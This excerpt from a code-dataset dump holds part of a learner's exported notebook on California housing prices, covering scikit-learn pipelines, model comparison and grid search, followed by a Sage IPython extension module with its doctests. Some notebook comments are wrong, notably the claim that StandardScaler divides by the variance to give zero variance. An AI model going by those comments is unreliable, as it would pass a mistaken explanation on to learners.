pattern.\n\n\n# In[18]:\n\n\n# Setting the alpha option makes it easier to visualize the places where there is high density.\nhousing.plot(kind=\"scatter\", x=\"longitude\", y=\"latitude\", alpha=0.1)\n\n# The alpha blending value, between 0 (transparent) and 1 (opaque).\n# You can clearly see the high-density areas, namely the Bay Area and around Los Angeles and San Diego,\n# plus a long line of fairly high density in the Central Valley.\n\n\n# In[19]:\n\n\n# The radius of each circle represents the district's population (option s), and the color represents the price\n# (option c). Here we will use a predefined color map (option cmap) called jet, which ranges from \n# blue (low values) to red (high values).\nhousing.plot(kind=\"scatter\", x=\"longitude\", y=\"latitude\", alpha=0.4, s=housing[\"population\"]/100, \n              label=\"population\", figsize=(10,7), c=\"median_house_value\", cmap=plt.get_cmap(\"jet\"),\n              colorbar=True\n             )\nplt.legend()\n\n# This image tell you that the housing prices are very much related to the location ad the population density.\n\n\n# In[20]:\n\n\n# To find out the standard correation coefficient (also called Pearson's r) use\ncorr_matrix = housing.corr()\ncorr_matrix[\"median_house_value\"].sort_values(ascending=False)\n\n# Here we see a strong positive correlation between median_house_value and median_income i.e. median house \n# value tends to go up when the median income goes up. \n# There is a small negative correlation between the latitude and the median house value i.e. prices have a slight\n# tendency to go down as you go north.\n\n\n# In[21]:\n\n\n# Experimenting with Attribute Combinations\n# Total number of bedrooms in a district is not very useful if you don't know how many households there are. What\n# you really want is the number of rooms per household.\n# Similarly, the total number of bedrooms and the population per household also seems like an interesting \n# attribute combination to look at\nhousing[\"rooms_per_household\"] = housing[\"total_rooms\"]/housing[\"households\"]\nhousing[\"bedrooms_per_room\"] = housing[\"total_bedrooms\"]/housing[\"total_rooms\"]\nhousing[\"population_per_household\"] = housing[\"population\"]/housing[\"households\"]\n\n# And now let's look at correlation matrix again:\ncorr_matrix = housing.corr()\ncorr_matrix[\"median_house_value\"].sort_values(ascending=False)\n\n# The new bedrooms_per_room attribute is much more correlated with the median house value than the total number\n# of rooms or bedrooms. Apparently houses with a lower bedroom/room ratio tend to be more expensive.\n\n\n# In[22]:\n\n\n# Now let's separate the predictors and the labels\nhousing = strat_train_set.drop(\"median_house_value\", axis=1)\nhousing_labels = strat_train_set[\"median_house_value\"].copy()\n\n\n# In[23]:\n\n\n# Scikit-Learn provides a handy class to take care of missing values: SimpleImputer.\n# First, you need to create an Imputer instance, specifying that you want to replace each attribute's missing \n# values with the median of that attribute.\nfrom sklearn.impute import SimpleImputer\nimputer = SimpleImputer(strategy=\"median\")\n\n# Since meadian can only be computed on numerical atttributes, we need to create a copy of the data without the \n# text attribute ocean_proximity\nhousing_num = housing.drop(\"ocean_proximity\", axis=1)\n\n# Now you can fit the imputer instance to the training data using the fit() method:\nimputer.fit(housing_num)\n\n# The imputer has simply computed the median of each attribute and stored the result in its statistics_ \n# instance variable.\nimputer.statistics_\n\n\n# In[24]:\n\n\n# Now you can use this \"trained\" imputer to transform the training set by replacing missing values by the  \n# learned medians. The result is a plain Numpy array.\nX = imputer.transform(housing_num)\n\n\n# In[25]:\n\n\n# Earlier we left out the categorical attribute ocean_proximity because it is a text attribute so we cannot \n# compute its median. Let's convert these text labels to numbers using Scikit-Learn's transformer for this \n# task called LabelEncoder\nfrom sklearn.preprocessing import LabelEncoder\nencoder = LabelEncoder()\nhousing_cat = housing[\"ocean_proximity\"]\nhousing_cat_encoded = encoder.fit_transform(housing_cat)\nhousing_cat_encoded\n\n\n# In[26]:\n\n\n# Although Scikit-Learn provied many useful transformers, you will need to write yourown. All you need is to \n# create a class and implement three methods: fit() (returning self), transform(), and fit_transform().\n# You can get the last one for free by simply adding TransformerMixin as base class. Also, if you add \n# BaseEstimator as a base class (and avoid *args and **kargs in your constructor) you will get two extra methods \n# (get_params() and set_params()) that will be useful for automatic hyperparameter tuning.\nfrom sklearn.base import BaseEstimator, TransformerMixin\nrooms_ix, bedrooms_ix, population_ix, household_ix = 3, 4, 5, 6\n\nclass CombinedAttributesAdder(BaseEstimator, TransformerMixin):\n    def __init__(self, add_bedrooms_per_room = True):  # no *args pr **kargs\n        self.add_bedrooms_per_room = add_bedrooms_per_room\n    def fit(self, X, y=None):\n        return self  # nothing else to do\n    def transform(self, X, y=None):\n        rooms_per_household = X[:, rooms_ix]/X[:, household_ix]\n        population_per_household = X[:, population_ix]/X[:, household_ix]\n        if self.add_bedrooms_per_room:\n            bedrooms_per_room = X[:, bedrooms_ix]/X[:, rooms_ix]\n            return np.c_[X, rooms_per_household, population_per_household, bedrooms_per_room]\n        else:\n            return np.c_[X, rooms_per_household, population_per_household]\n\nattr_adder = CombinedAttributesAdder(add_bedrooms_per_room=False)\nhousing_extra_attribs = attr_adder.transform(housing.values)\n\n\n# In[27]:\n\n\n# There are many data transformations steps that need to be executed in the right order. Fortunately, Scikit-Learn\n# provides the Pipeline class to help with such sequences of transformations. Here is a small pipeline for the \n# numerical attributes:\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.preprocessing import StandardScaler\n\nnum_pipeline = Pipeline([\n    ('imputer', SimpleImputer(strategy=\"median\")),\n    ('attribs_adder', CombinedAttributesAdder()),\n    ('std_scaler', StandardScaler()),\n ])\n\nhousing_num_tr = num_pipeline.fit_transform(housing_num)\n\n# Here StandardScaler is used for standarization for the purpose of feature scaling i.e. to get all attributes\n# to have the same scale. First it subtracts the mean value (so standarized values always have a zero mean), \n# and then it divides by the variance so that the resulting distribution have zero variance.\n\n\n# In[28]:\n\n\n# Now it would be nice if we could feed a Pandas DataFrame directly into our pipeline, instead of having to first\n# manually extract the numerical columns into a NumPy array.\nfrom sklearn.base import BaseEstimator, TransformerMixin\n\nclass DataFrameSelector(BaseEstimator, TransformerMixin):\n    def __init__(self, attribute_names):\n        self.attribute_names = attribute_names\n    def fit(self, X, y=None):\n        return self\n    def transform(self, X):\n        return X[self.attribute_names].values\n\n# Our DataFrameSelector will transform the data by selecting the desired attributes, dropping the rest, and \n# converting the resulting DataFrame to a NumPy array.\n\n\n# In[29]:\n\n\n# By default LabelBinarizer takes two input now after update to Scikit-Learn 0.18.0 because they said \n# LabelBinarizer is meant fot labels only and not for features. To use LabelBinarizer here, you can create you own\nclass MyLabelBinarizer(TransformerMixin):\n    def __init__(self, *args, **kwargs):\n        self.encoder = LabelBinarizer(*args, **kwargs)\n    def fit(self, x, y=0):\n        self.encoder.fit(x)\n        return self\n    def transform(self, x, y=0):\n        return self.encoder.transform(x)\n\n\n# In[30]:\n\n\n# You can write another pipeline for the categorical attributes as well by simply selecting the categorical \n# attributes using a DataFrameSelector and then applying a LabelBinarizer.\nfrom sklearn.preprocessing import LabelBinarizer\nnum_attribs = list(housing_num)\ncat_attribs = [\"ocean_proximity\"]\n\nnum_pipeline = Pipeline([\n    ('selector', DataFrameSelector(num_attribs)),\n    ('imputer', SimpleImputer(strategy=\"median\")),\n    ('attribs_adder', CombinedAttributesAdder()),\n    ('std_scaler', StandardScaler()),\n ])\n\ncat_pipeline = Pipeline([\n    ('selector', DataFrameSelector(cat_attribs)),\n    ('label_binarizer', MyLabelBinarizer()),\n])\n\n\n# In[31]:\n\n\n# To join above two pipelines use Scikit-Learn's FeatureUnion class\nfrom sklearn.pipeline import FeatureUnion\n\nfull_pipeline = FeatureUnion(transformer_list=[\n    (\"num_pipeline\", num_pipeline),\n    (\"cat_pipeline\", cat_pipeline),\n])\n\n# And you can run the whole pipeline simply by:\nhousing_prepared = full_pipeline.fit_transform(housing)\nhousing_prepared.shape\n\n\n# In[32]:\n\n\n# Let's train a Linear Regression model\nfrom sklearn.linear_model import LinearRegression\n\nlin_reg = LinearRegression()\nlin_reg.fit(housing_prepared, housing_labels)\n\n\n# \n\n# In[33]:\n\n\n# Done! We now have a working Linear Regression model. Let's try it out on a few instances from training set.\nsome_data = housing.iloc[:5]\nsome_labels = housing_labels.iloc[:5]\nsome_data_prepared = full_pipeline.transform(some_data)\nprint(\"Predictions:\", lin_reg.predict(some_data_prepared))\n\n# It works, although the predictions are not exactly accurate.\n\n\n# In[34]:\n\n\nprint(\"Labels:\", list(some_labels))\n\n\n# In[35]:\n\n\n# Let's measure this regression model's RMSE on the whole training set using Scikit-Learn's mean_squared_error \n# function\nfrom sklearn.metrics import mean_squared_error\nhousing_predictions = lin_reg.predict(housing_prepared)\nlin_mse = mean_squared_error(housing_labels, housing_predictions)\nlin_rmse = np.sqrt(lin_mse)\nlin_rmse\n\n# This is not clearly a good score as median_housing_values range between $120,000 and $265,000, so a \n# prediction error of $68,628 is not very satisfying. This is an example of a model underfitting the training \n# data. To overcome this we can use a more powerful model, feed the training algorithm with better features, or\n# to reduce the constraints on the model.\n\n\n# In[36]:\n\n\n# Let's try a more complex model. Let's train a DecisionTreeRegressor.\nfrom sklearn.tree import DecisionTreeRegressor\ntree_reg = DecisionTreeRegressor()\ntree_reg.fit(housing_prepared, housing_labels)\n\n\n# In[37]:\n\n\n# Let's evaluate it on the training set\nhousing_predictions = tree_reg.predict(housing_prepared)\ntree_mse = mean_squared_error(housing_labels, housing_predictions)\ntree_rmse = np.sqrt(tree_mse)\ntree_rmse\n\n# Wait, what? No error at all? Model has badly overfit the data.\n# We need to use part of the training set for training, and part for model validation.\n\n\n# In[38]:\n\n\n# One way to evaluate Decision Tree model would be to use the train_test_split function to split the training set\n# into a smaller training set and a validation set, then train your mdoels against the smaller training set and\n# evaluate them against the validation set.\n# A great alternative is to use Scikit-Learn's cross-validation feature. \n# Following code performs K-fold cross-validation: it randomly splits the training set into 10 distinct subsets\n# called folds, then it trains and evaluates the Decision Tree model 10 times picking a different fold for \n# evaluation every time and training on the other 9 folds.\nfrom sklearn.model_selection import cross_val_score\nscores = cross_val_score(tree_reg, housing_prepared, housing_labels, scoring=\"neg_mean_squared_error\", cv=10)\ntree_rmse_scores = np.sqrt(-scores)\n\n# For moer info see Readme.md\n# The result is an array containing the 10 evaluation scores. Let's look at the results:\ndef display_scores(scores):\n    print(\"Scores:\", scores)\n    print(\"Mean:\", scores.mean())\n    print(\"Standard Deviation:\", scores.std())\n    \ndisplay_scores(tree_rmse_scores)\n\n# For more information see Readme.md\n# Now the Decision Tree doiesn't look as good as it did earlier. In fact, it seems to perform worse than the \n# Linear Regression model. The Decision Tree has a score of approximately 71,379, generally \u00b1 2,458.\n\n\n# In[39]:\n\n\n# Let's compute the same scores for the Linnear Regression model\nlin_scores = cross_val_score(lin_reg, housing_prepared, housing_labels, scoring=\"neg_mean_squared_error\", cv=10)\nlin_rmse_scores = np.sqrt(-lin_scores)\ndisplay_scores(lin_rmse_scores)\n\n\n# In[40]:\n\n\n# Let's try one last mdoel now: the RandomForestRegressor. Random Forest works by training many Decision Trees \n# on random subsets of the features, then averaging out their predictions. Building a model on top of many other\n# models is called Ensemble Learning.\nfrom sklearn.ensemble import RandomForestRegressor\nforest_reg = RandomForestRegressor()\nforest_reg.fit(housing_prepared, housing_labels)\n\n# Let's compute the scores for RandomForestRegressor model\nscores = cross_val_score(forest_reg, housing_prepared, housing_labels, scoring=\"neg_mean_squared_error\", cv=10)\nforest_rmse_scores = np.sqrt(-scores)\ndisplay_scores(forest_rmse_scores)\n\n# This is much better. However, note that the score on the training set is still much lower than on the validation\n# sets, meaning that the model is still overfitting the training set.\n\n\n# In[46]:\n\n\n# Let's try a Support Machine Vector regressor with linear kernel\nfrom sklearn.svm import SVR\nsvr_regl = SVR(kernel=\"linear\")\nsvr_regl.fit(housing_prepared, housing_labels)\n\nscores = cross_val_score(svr_regl, housing_prepared, housing_labels, scoring=\"neg_mean_squared_error\", cv=10)\nsvrl_rmse_scores = np.sqrt(-scores)\ndisplay_scores(svrl_rmse_scores)\n\n# This is the best till now. See \n\n\n# In[42]:\n\n\n# Let's try another Support Machine Vector regressor with rbf kernel\nfrom sklearn.svm import SVR\nsvr_reg = SVR(kernel=\"rbf\")\nsvr_reg.fit(housing_prepared, housing_labels)\n\nscores = cross_val_score(svr_reg, housing_prepared, housing_labels, scoring=\"neg_mean_squared_error\", cv=10)\nsvr_rmse_scores = np.sqrt(-scores)\ndisplay_scores(svr_rmse_scores)\n\n\n# In[76]:\n\n\n# You should save every model you experiment with, so you can come back easily to any model you want.\nfrom sklearn.externals import joblib\n\njoblib.dump(lin_reg, \"lin_reg.pkl\")\njoblib.dump(tree_reg, \"tree_reg.pkl\")\njoblib.dump(forest_reg, \"forest_reg.pkl\")\njoblib.dump(svr_reg, \"svr_reg.pkl\")      # svr_reg for SVM with default kernel i.e., kernel=\"rbf\"\njoblib.dump(svr_regl, \"svr_regl.pkl\")    # svr_regl for SVM with kernel=\"linear\"\n\n\n# In[74]:\n\n\n# Now to load any model type\nmy_model_loaded = joblib.load(\"forest_reg.pkl\")\nmy_model_loaded \n\n\n# In[80]:\n\n\n# To fine tune your model i.e., to get a great combination of hyperparameter values, you can use Scikit-Learn's\n# GridSearchCV. All you need to do is tell it which hyperparameters you want it to experiment with, and what \n# values to try out, and it will evaluate all the possible combinations of hyperparameter values, using\n# cross-validation.\n# The following code searches for the best combination of hyperparameter values for the RandomForestRegressor:\nfrom sklearn.model_selection import GridSearchCV\n\nparam_grid = [\n    {'n_estimators': [3, 10, 30], 'max_features': [2, 4, 6, 8]},\n    {'bootstrap': [False], 'n_estimators': [3, 10], 'max_features': [2, 3, 4]},\n]\n\nforest_reg = RandomForestRegressor()\n\ngrid_search = GridSearchCV(forest_reg, param_grid, cv=5, scoring='neg_mean_squared_error')\ngrid_search.fit(housing_prepared, housing_labels)\n\n# This param_grid tells Scikit-Learn to first evaluate all 3 X 4 = 12 combinations of n_estimators and \n# max_features hyperparameter values specified in the first dict, then try all 2 X 3 = 6 combinations of\n# hyperparameter values in the second dict, but this time with the bootstrap hyperparameter set to False instead\n# of True (which is the default value of this parameter).\n# All in all, the grid will explore 12 + 6 = 18 combinations of RandomForestRegressor hyperparamter values, and it\n# will train each model five times i.e., there will be 18 X 5 = 90 rounds of training!\n\ngrid_search.best_params_\n# This gives out the best combination of parameters like this:\n\n\n# In[79]:\n\n\n# The evaluation scores are also available\ncvres = grid_search.cv_results_\nfor mean_score, params in zip(cvres[\"mean_test_score\"], cvres[\"params\"]):\n    print(np.sqrt(-mean_score), params)\n    \n# In this example, we obtain the best solution by setting the max_features hyperparameter to 6, and then\n# n_estimators hyperparameter to 30. The RMSE score for this combination is 49889, which is slightly better than\n# the score you go tearlier using the default hyperparameter values (which was 52927).\n# For Randomized search see Readme.mdf\n\n\n# In[86]:\n\n\n# GridSearchCV can also reveal the relative importance of each attribute for making accurate predictions:\nfeature_importances = grid_search.best_estimator_.feature_importances_\nfeature_importances\nextra_attribs = [\"rooms_per_hhold\", \"pop_per_hhold\", \"bedrooms_per_room\"]\ncat_one_hot_attribs = list(encoder.classes_)\nattributes = num_attribs + extra_attribs + cat_one_hot_attribs\nsorted(zip(feature_importances, attributes), reverse=True)\n\n# cat_one_attribs contains the subcategories of ocean_proximity separately.\n# The purpose of zip() is to map the similar index of multiple containers so that they can be used just \n# using as single entity. \n\n\n# In[91]:\n\n\n# Evaluate the final model on the test set; just set the predictors and the labels from your test run, run your\n# full_pipeline to transform the data, and evaluate the final model on the test set.\nfinal_model = grid_search.best_estimator_\n\nX_test = strat_test_set.drop(\"median_house_value\", axis=1)\ny_test = strat_test_set[\"median_house_value\"].copy()\n\nX_test_prepared = full_pipeline.transform(X_test)\n\nfinal_predictions = final_model.predict(X_test_prepared)\n\nfinal_mse = mean_squared_error(y_test, final_predictions)\nfinal_rmse = np.sqrt(final_mse)\nfinal_rmse\n\n\n# In[92]:\n\n\n# Congratulations for your first working model.\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "101c6fb6bca999cea012cd6f2f0f8271163a6803", "size": 23021, "ext": "py", "lang": "Python", "max_stars_repo_path": "Chapter - 2/fetch_and_load_data.py", "max_stars_repo_name": "DhruvAwasthi/HandsOnML", "max_stars_repo_head_hexsha": "d55b7ad93def5a48e299ba3af0f116de0a701bd5", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2020-06-09T08:01:08.000Z", "max_stars_repo_stars_event_max_datetime": "2020-10-22T16:52:59.000Z", "max_issues_repo_path": "Chapter - 2/fetch_and_load_data.py", "max_issues_repo_name": "DhruvAwasthi/HandsOnML", "max_issues_repo_head_hexsha": "d55b7ad93def5a48e299ba3af0f116de0a701bd5", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Chapter - 2/fetch_and_load_data.py", "max_forks_repo_name": "DhruvAwasthi/HandsOnML", "max_forks_repo_head_hexsha": "d55b7ad93def5a48e299ba3af0f116de0a701bd5", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.1557863501, "max_line_length": 114, "alphanum_fraction": 0.7668650363, "include": true, "reason": "import numpy", "num_tokens": 5401, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.16238003261321476, "lm_q1q2_score": 0.07928747365262886}}
{"text": "\"\"\"\nA Sage extension which adds sage-specific features:\n\n* magics\n  - %loadfile\n  - %attach\n  - %mode (like %maxima, etc.)\n* preparsing of input\n  - also make runfile and attach magics so that the '%' is optional, but encouraged\n* loading Sage library\n* running init.sage\n* changing prompt to Sage prompt\n* Display hook\n\nTESTS:\n\nWe test that preparsing is off for ``%runfile``, on for ``%time``::\n\n    sage: import os, re\n    sage: from sage.misc.interpreter import get_test_shell\n    sage: from sage.misc.misc import tmp_dir\n    sage: shell = get_test_shell()\n    sage: TMP = tmp_dir()\n\nThe temporary directory should have a name of the form\n``.../12345/...``, to demonstrate that file names are not\npreparsed when calling ``%runfile``. ::\n\n    sage: bool(re.search('/[0-9]+/', TMP))\n    True\n    sage: tmp = os.path.join(TMP, 'run_cell.py')\n    sage: f = open(tmp, 'w'); f.write('a = 2\\n'); f.close()\n    sage: shell.run_cell('%runfile '+tmp)\n    sage: shell.run_cell('a')\n    2\n\nIn contrast, input to the ``%time`` magic command is preparsed::\n\n    sage: shell.run_cell('%time 594.factor()')\n    CPU times: user ...\n    Wall time: ...\n    2 * 3^3 * 11\n\"\"\"\n\nfrom IPython.core.hooks import TryNext\nfrom IPython.core.magic import Magics, magics_class, line_magic\nimport os\nimport sys\nimport sage\nimport sage.all\nfrom sage.misc.interpreter import preparser\nfrom sage.misc.preparser import preparse\n\n@magics_class\nclass SageMagics(Magics):\n\n    @line_magic\n    def runfile(self, s):\n        r\"\"\"\n        Loads the code contained in the file ``s``. This is designed\n        to be used from the command line as ``%runfile /path/to/file``.\n\n        :param s: file to be loaded\n        :type s: string\n\n        EXAMPLES::\n\n            sage: import os\n            sage: from sage.misc.interpreter import get_test_shell\n            sage: from sage.misc.misc import tmp_dir\n            sage: shell = get_test_shell()\n            sage: tmp = os.path.join(tmp_dir(), 'run_cell.py')\n            sage: f = open(tmp, 'w'); f.write('a = 2\\n'); f.close()\n            sage: shell.run_cell('%runfile '+tmp)\n            sage: shell.run_cell('a')\n            2\n        \"\"\"\n        from sage.misc.preparser import load_wrap\n        return self.shell.ex(load_wrap(s, attach=False))\n\n    @line_magic\n    def attach(self, s):\n        r\"\"\"\n        Attaches the code contained in the file ``s``. This is\n        designed to be used from the command line as\n        ``%attach /path/to/file``.\n\n        :param s: file to be attached\n        :type s: string\n\n        EXAMPLES::\n\n            sage: import os\n            sage: from sage.misc.interpreter import get_test_shell\n            sage: shell = get_test_shell()\n            sage: tmp = os.path.normpath(os.path.join(SAGE_TMP, 'run_cell.py'))\n            sage: f = open(tmp, 'w'); f.write('a = 2\\n'); f.close()\n            sage: shell.run_cell('%attach ' + tmp)\n            sage: shell.run_cell('a')\n            2\n            sage: sleep(1)  # filesystem timestamp granularity\n            sage: f = open(tmp, 'w'); f.write('a = 3\\n'); f.close()\n\n        Note that the doctests are never really at the command prompt, so\n        we call the input hook manually::\n\n            sage: shell.run_cell('from sage.misc.inputhook import sage_inputhook')\n            sage: shell.run_cell('sage_inputhook()')\n            ### reloading attached file run_cell.py modified at ... ###\n            0\n\n            sage: shell.run_cell('a')\n            3\n            sage: shell.run_cell('detach(%r)'%tmp)\n            sage: shell.run_cell('attached_files()')\n            []\n            sage: os.remove(tmp)\n        \"\"\"\n        from sage.misc.preparser import load_wrap\n        return self.shell.ex(load_wrap(s, attach=True))\n\n    @line_magic\n    def iload(self, s):\n        \"\"\"\n        A magic command to interactively load a file as in MAGMA.\n\n        :param s: the file to be interactively loaded\n        :type s: string\n\n        .. note::\n\n            Currently, this cannot be completely doctested as it\n            relies on :func:`raw_input`.\n\n        EXAMPLES::\n\n            sage: ip = get_ipython()           # not tested: works only in interactive shell\n            sage: ip.magic_iload('/dev/null')  # not tested: works only in interactive shell\n            Interactively loading \"/dev/null\"  # not tested: works only in interactive shell\n        \"\"\"\n        try:\n            name = str(eval(s))\n        except Exception:\n            name = s.strip()\n\n        try:\n            F = open(name)\n        except IOError:\n            raise ImportError, 'could not open file \"%s\"'%name\n\n\n        shell = self.shell\n\n        #We need to update the execution count so that the history for the\n        #iload command and the history for the first line of the loaded\n        #file are not written to the history database with the same line\n        #number (execution count).  This happens since the execution count\n        #is updated only after the magic command is run.\n        shell.execution_count += 1\n\n        print 'Interactively loading \"%s\"'%name\n\n        # The following code is base on IPython's\n        # InteractiveShell.interact,\n        more = False\n        for line in F.readlines():\n            prompt = shell.prompt_manager.render('in' if not more else 'in2', color=True)\n            raw_input(prompt.encode('utf-8') + line.rstrip())\n\n            shell.input_splitter.push(line)\n            more = shell.input_splitter.push_accepts_more()\n            if not more:\n                source, source_raw = shell.input_splitter.source_raw_reset()\n                shell.run_cell(source_raw, store_history=True)\n\n    _magic_display_status = \"simple\"\n    @line_magic\n    def display(self, mode):\n        \"\"\"\n        A magic command to switch between simple display and ASCII art display.\n\n        :param mode: the mode (``ascii_art`` (and optionally a ``width``) or ``simple``)\n        :type s: string\n\n        How to use: if you want activate the ASCII art mod::\n\n            sage: from sage.misc.interpreter import get_test_shell\n            sage: shell = get_test_shell()\n            sage: shell.run_cell('%display ascii_art')\n\n        That means you don't have to use :func:`ascii_art` to get an ASCII art\n        output::\n\n            sage: shell.run_cell(\"i = var('i')\")\n            sage: shell.run_cell('sum(i^2*x^i, i, 0, 10)')\n                 10       9       8       7       6       5       4      3      2\n            100*x   + 81*x  + 64*x  + 49*x  + 36*x  + 25*x  + 16*x  + 9*x  + 4*x  + x\n\n        Then when you want return in 'textual mode'::\n\n            sage: shell.run_cell('%display simple')\n            sage: shell.run_cell('sum(i^2*x^i, i, 0, 10)')\n            100*x^10 + 81*x^9 + 64*x^8 + 49*x^7 + 36*x^6 + 25*x^5 + 16*x^4 + 9*x^3 + 4*x^2 + x\n\n        Sometime you could have to use a special output width and you\n        could specify it::\n\n            sage: shell.run_cell('%display ascii_art')\n            sage: shell.run_cell('StandardTableaux(4).list()')\n            [\n            [                                                                  1  4    1  3\n            [                 1  3  4    1  2  4    1  2  3    1  3    1  2    2       2\n            [   1  2  3  4,   2      ,   3      ,   4      ,   2  4,   3  4,   3   ,   4\n            <BLANKLINE>\n                        1 ]\n                1  2    2 ]\n                3       3 ]\n            ,   4   ,   4 ]\n            sage: shell.run_cell('%display ascii_art 50')\n            sage: shell.run_cell('StandardTableaux(4).list()')\n            [\n            [\n            [                 1  3  4    1  2  4    1  2  3\n            [   1  2  3  4,   2      ,   3      ,   4      ,\n            <BLANKLINE>\n                                                      1 ]\n                              1  4    1  3    1  2    2 ]\n              1  3    1  2    2       2       3       3 ]\n              2  4,   3  4,   3   ,   4   ,   4   ,   4 ]\n            sage: shell.run_cell('%display simple')\n        \"\"\"\n        import displayhook, ascii_art\n        args_split = mode.split(\" \")\n        if len(args_split) < 2:\n            if mode == \"\":\n                self._magic_display_status = \"ascii_art\" \\\n                    if self._magic_display_status == \"simple\" else \"simple\"\n            else:\n                self._magic_display_status = mode\n            ascii_art.MAX_WIDTH = None\n        else:\n            self._magic_display_status =  args_split[0]\n            assert(args_split[0] == \"ascii_art\"), \"if a width is given then the mode must be `ascii_art`\"\n            try:\n                ascii_art.MAX_WIDTH = int(args_split[1])\n            except Exception:\n                raise AttributeError(\"Second argument must be a non-negative integer\")\n        try:\n            displayhook.SPTextFormatter.set_display(self._magic_display_status)\n        except Exception:\n            print mode, args_split\n            raise AttributeError(\"First argument must be `simple` or `ascii_art` or the method must be call without argument\")\n\n\nimport displayhook\nclass SageCustomizations(object):\n    startup_code = \"\"\"from sage.all_cmdline import *\nfrom sage.misc.interpreter import sage_prompt\n\"\"\"\n\n    def __init__(self, shell=None):\n        \"\"\"\n        Initialize the Sage plugin.\n        \"\"\"\n        self.shell = shell\n        self.auto_magics = SageMagics(shell)\n        shell.register_magics(self.auto_magics)\n        displayhook.SPTextFormatter = displayhook.SagePlainTextFormatter(config=shell.config)\n        shell.display_formatter.formatters['text/plain'] = displayhook.SPTextFormatter\n        from sage.misc.edit_module import edit_devel\n        self.shell.set_hook('editor', edit_devel)\n        self.init_inspector()\n        self.init_line_transforms()\n        self.register_interface_magics()\n\n        import sage.misc.inputhook\n        sage.misc.inputhook.install()\n\n        # right now, the shutdown hook calling quit_sage() doesn't\n        # work when we run doctests that involve creating test shells.\n        # The test run segfaults right when it exits, complaining\n        # about a bad memory access in the pari_close() function.\n        #self.set_quit_hook()\n\n        if os.environ.get('SAGE_IMPORTALL', 'yes') != 'yes':\n            return\n\n        self.init_environment()\n\n    def register_interface_magics(self):\n        \"\"\"Register magics for each of the Sage interfaces\"\"\"\n        from sage.misc.superseded import deprecation\n        interfaces = [(name, obj)\n                      for name, obj in sage.interfaces.all.__dict__.items()\n                      if isinstance(obj, sage.interfaces.interface.Interface)]\n\n        for real_name, obj in interfaces:\n            def tmp(line, name=real_name):\n                self.shell.run_cell('%s.interact()' % name)\n            tmp.__doc__ = \"Interact with %s\" % real_name\n            self.shell.register_magic_function(tmp, magic_name=real_name)\n\n            obj_name = obj.name()\n            if real_name != obj_name:\n                def tmp_deprecated(line, name=real_name, badname=obj_name):\n                    deprecation(6288, 'Use %%%s instead of %%%s.' % (name,\n                                                                     badname))\n                    self.shell.run_cell('%s.interact()' % name)\n                tmp_deprecated.__doc__ = \"Interact with %s\" % real_name\n                self.shell.register_magic_function(tmp_deprecated, magic_name=obj_name)\n\n    def set_quit_hook(self):\n        \"\"\"\n        Set the exit hook to cleanly exit Sage.  This does not work in all cases right now.\n        \"\"\"\n        def quit(shell):\n            import sage\n            sage.all.quit_sage()\n        self.shell.set_hook('shutdown_hook', quit)\n\n\n    def init_environment(self):\n        \"\"\"\n        Set up Sage command-line environment\n        \"\"\"\n        try:\n            self.shell.run_cell('from sage.all import Integer, RealNumber')\n        except Exception:\n            import traceback\n            print \"Error importing the Sage library\"\n            traceback.print_exc()\n            print\n            print \"To debug this, you can run:\"\n            print 'sage -ipython -i -c \"import sage.all\"'\n            print 'and then type \"%debug\" to enter the interactive debugger'\n            sys.exit(1)\n        self.shell.run_cell(self.startup_code)\n        self.run_init()\n\n\n    def run_init(self):\n        \"\"\"\n        Run Sage's initial startup file.\n        \"\"\"\n        startup_file = os.environ.get('SAGE_STARTUP_FILE', '')\n        if os.path.exists(startup_file):\n            with open(startup_file, 'r') as f:\n                self.shell.run_cell(f.read(), store_history=False)\n\n    def init_inspector(self):\n        # Ideally, these would just be methods of the Inspector class\n        # that we could override; however, IPython looks them up in\n        # the global :class:`IPython.core.oinspect` module namespace.\n        # Thus, we have to monkey-patch.\n        from sage.misc import sagedoc, sageinspect\n        import IPython.core.oinspect\n        IPython.core.oinspect.getdoc = sageinspect.sage_getdoc #sagedoc.my_getdoc\n        IPython.core.oinspect.getsource = sagedoc.my_getsource\n        IPython.core.oinspect.getargspec = sageinspect.sage_getargspec\n\n    def init_line_transforms(self):\n        \"\"\"\n        Set up transforms (like the preparser).\n        \"\"\"\n        import sage\n        import sage.all\n        from interpreter import (SagePreparseTransformer,\n                                 sage_prompt_transformer,\n                                 magic_transformer)\n        for s in (self.shell.input_splitter, self.shell.input_transformer_manager):\n            s.physical_line_transforms.extend([sage_prompt_transformer()])\n            s.logical_line_transforms.insert(0, magic_transformer())\n            s.python_line_transforms.extend([SagePreparseTransformer()])\n        preparser(True)\n\n\n# from http://stackoverflow.com/questions/4103773/efficient-way-of-having-a-function-only-execute-once-in-a-loop\nfrom functools import wraps\ndef run_once(f):\n    \"\"\"Runs a function (successfully) only once.\n\n    The running can be reset by setting the `has_run` attribute to False\n    \"\"\"\n    @wraps(f)\n    def wrapper(*args, **kwargs):\n        if not wrapper.has_run:\n            result = f(*args, **kwargs)\n            wrapper.has_run = True\n            return result\n    wrapper.has_run = False\n    return wrapper\n\n@run_once\ndef load_ipython_extension(ip):\n    \"\"\"Load the extension in IPython.\"\"\"\n    # this modifies ip\n    SageCustomizations(shell=ip)\n", "meta": {"hexsha": "33ad065184c3037d5dd7644e70deac47655f72c5", "size": 14545, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/misc/sage_extension.py", "max_stars_repo_name": "bopopescu/sagesmc", "max_stars_repo_head_hexsha": "e8d1d31f6f598dba2d763baa2d2e804338f9e89e", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 5, "max_stars_repo_stars_event_min_datetime": "2015-01-04T07:15:06.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-04T15:15:18.000Z", "max_issues_repo_path": "src/sage/misc/sage_extension.py", "max_issues_repo_name": "bopopescu/sagesmc", "max_issues_repo_head_hexsha": "e8d1d31f6f598dba2d763baa2d2e804338f9e89e", "max_issues_repo_licenses": 